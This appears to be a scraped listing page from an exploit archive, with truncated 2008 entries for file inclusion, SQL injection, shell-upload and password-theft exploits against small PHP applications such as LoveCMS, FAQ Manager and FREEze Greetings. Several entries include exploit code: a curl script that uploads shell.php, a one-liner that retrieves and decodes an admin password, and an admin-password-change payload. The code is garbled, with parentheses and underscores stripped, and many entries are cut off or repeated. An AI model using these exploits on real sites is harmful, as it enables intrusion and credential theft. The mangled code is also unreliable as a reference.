Mini-CMS 1.0.1 - index.php Local File Inclusion

Mini-CMS 1.0.1 - index.php Local File Inclusion / $Id: minicms-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $ Mini-CMS 1.0.1 index.php Multiple Local File Inclusion Vulnerabilities Discovered by cOndemned Download : http://www.bpowerhouse.info/minicms.htm Greetz : ZaBeaTy, str0ke, d2,...

mysimpleforum-lfi.txt

/ $Id: mysimpleforum-3.0-lfi.txt,v 0.1 2008/12/04 23:03:00 cOndemned Exp $ My Simple Forum 3.0 index.php action Local File Inclusion Vulnerability Bug discovered by cOndemned Script download: http://drennansoft.com/index.php?action=download&id=1 Greetz: ZaBeaTy, str0ke, d2, TBH, Avantura / Source...

cctiddly-rfi.txt

/ $Id: cctiddly-1.7.4-rfi.txt,v 0.1 2008/12/04 04:12:20 cOndemned Exp $ ccTiddly 1.7.4 cctbase Multiple Remote File Inclusion Vulnerabilities found by cOndemned download from : http://tiddlywiki.org/ccTiddly/ccTiddlyv1.7.4.zip Probably prior versions are vulnerable too... Greetz: ZaBeaTy, str0ke,...

lovecms-upload.txt

\n", $argv0; printf" Ex.: php %s localhost/lovecms shell.php\n\n", $argv0; exit; list$script, $target, $file = $argv; $xpl = curlinit; curlsetopt$xpl, CURLOPTURL, $target . '/modules/downloadmanager/admin/index.php'; curlsetopt$xpl, CURLOPTRETURNTRANSFER, true; curlsetopt$xpl, CURLOPTPOST, true;...

FAQ Manager 1.2 (categorie.php cat_id) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================== FAQ Manager 1.2 categorie.php catid SQL Injection Vulnerability ==================================================================...

faqmanager-sql.txt

+---------------------------------------------------------------------------------------+ | | | FAQ Manager 1.2 categorie.php catid Remote SQL Injection Vulnerability | | Bug found by cOndemned | | | | Script site : http://www.4yoursite.nl/scriptfaqmanager.php | | | | Greetz: ZaBeaTy, str0ke,...

FAQ Manager 1.2 - 'categorie.php' SQL Injection

+---------------------------------------------------------------------------------------+ | | | FAQ Manager 1.2 categorie.php catid Remote SQL Injection Vulnerability | | Bug found by cOndemned | | | | Script site : http://www.4yoursite.nl/scriptfaqmanager.php | | | | Greetz: ZaBeaTy, str0ke,...

LoveCMS 1.6.2 Final (Simple Forum 3.1d) Change Admin Password Exploit

Exploit for unknown platform in category web applications ===================================================================== LoveCMS 1.6.2 Final Simple Forum 3.1d Change Admin Password Exploit ===================================================================== 'en', 'forumWidth' = '500',...

LoveCMS 1.6.2 Final (Simple Forum 3.1d) - Change Admin Password

LoveCMS 1.6.2 Final Simple Forum 3.1d - Change Admin Password 'en', 'forumWidth' = '500', 'forumAlign' = 'left', 'forumTitle' = 'Simple Forum', 'threadsPerPage' = '15', 'wordLength' = '50', 'autoDelete' = '12', 'adminPass' = $pass, 'allowHTML' = '1', 'allowURLs' = '1', 'allowUBBs' = '1',...

LoveCMS 1.6.2 Final (Simple Forum 3.1d) - Change Admin Password

'en', 'forumWidth' = '500', 'forumAlign' = 'left', 'forumTitle' = 'Simple Forum', 'threadsPerPage' = '15', 'wordLength' = '50', 'autoDelete' = '12', 'adminPass' = $pass, 'allowHTML' = '1', 'allowURLs' = '1', 'allowUBBs' = '1', 'enableIDs' = '0', 'enableSignature' = '1', 'enableRefererCheck' = '0'...

FREEze Greetings 1.0 Remote Password Retrieve Exploit

No description provided by source. ?php / FREEze Greetings 1.0 Remote Password Retrieve Exploit Exploit by cOndemned Greetz : suN8Hclf, 0in, m4r1usz, str0ke, rtgn, doctor, sid.psycho ... Special thx to ZaBeaTy for developing such a sexy regexp ; Thx m8 / echo Header FREEze Greetings 1.0 Remote...

FREEze Greetings 1.0 - Remote Password Retrieve

FREEze Greetings 1.0 - Remote Password Retrieve \r\n\r\n", $argv0 and exit; $out = pregmatch'!^^ +$!sei', filegetcontents$argv1 . '/pwd.txt', $r && pregmatch'!^^||+||!sei', base64decode$r1, $pass ? sprintf"Password : %s", base64decode$pass1 : 'Exploitation failed'; printf" %s \r\n\r\n", $out; ?...

FREEze Greetings 1.0 Remote Password Retrieve Exploit

Exploit for unknown platform in category web applications ===================================================== FREEze Greetings 1.0 Remote Password Retrieve Exploit ===================================================== \r\n\r\n", $argv0 and exit; $out = pregmatch'!^^ +$!sei', filegetcontents$arg...

FREEze Greetings 1.0 - Remote Password Retrieve

\r\n\r\n", $argv0 and exit; $out = pregmatch'!^^ +$!sei', filegetcontents$argv1 . '/pwd.txt', $r && pregmatch'!^^||+||!sei', base64decode$r1, $pass ? sprintf"Password : %s", base64decode$pass1 : 'Exploitation failed'; printf" %s \r\n\r\n", $out; ? milw0rm.com 2008-11-17...

joomlahotspots-sql.txt

Name : Joomla Component comhotspots w Remote SQL Injection Vulnerability Author : cOndemned Data : 07.10.2008 AD Greetz : sid.psycho, h07, ZaBeaTy, irk4z, Necro, str0ke, t0pP8uZz, TWT, suN8Hclf, 0in and Avantura.... PoC :...

tinycms-lfi.txt

Name : tinyCMS 1.1.2 templater.php Local File Inclusion Vulnerability Author : cOndemned Dark-Coders Greetz : Avantura, str0ke, ZaBeaTy, doctor, voo|doo, sid.psycho, irk4z Conditions : Magic quotes gpc = Off / Register Globals = On Other info : Prior versions probably are vulnerable too Source of...

TinyCMS 1.1.2 - templater.php Local File Inclusion

TinyCMS 1.1.2 - templater.php Local File Inclusion  Name : tinyCMS 1.1.2 templater.php Local File Inclusion Vulnerability Author : cOndemned Dark-Coders Greetz : Avantura, str0ke, ZaBeaTy, doctor, voo|doo, sid.psycho, irk4z Conditions : Magic quotes gpc = Off / Register Globals = On Other info...

FireAnt 1.3 (index.php page) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications =============================================================== FireAnt 1.3 index.php page Local File Inclusion Vulnerability =============================================================== Name : FireAnt v1.3 Local File Inclusion...

phphotoalbum-sql.txt

Name : PHPhotoalbum v0.5 Multiple Remote SQL Injection Vulnerabilities Author : cOndemned Dork : intext:PHPhotoalbum v0.5 Greetz : ZaBeaTy, str0ke, TBH, Hawk, doctor, Sandtalker, Avantura ; Proof of Concept :...

PHPhotoalbum 0.5 - Multiple SQL Injections

PHPhotoalbum 0.5 - Multiple SQL Injections Name : PHPhotoalbum v0.5 Multiple Remote SQL Injection Vulnerabilities Author : cOndemned Dork : intext:PHPhotoalbum v0.5 Greetz : ZaBeaTy, str0ke, TBH, Hawk, doctor, Sandtalker, Avantura ; Proof of Concept :...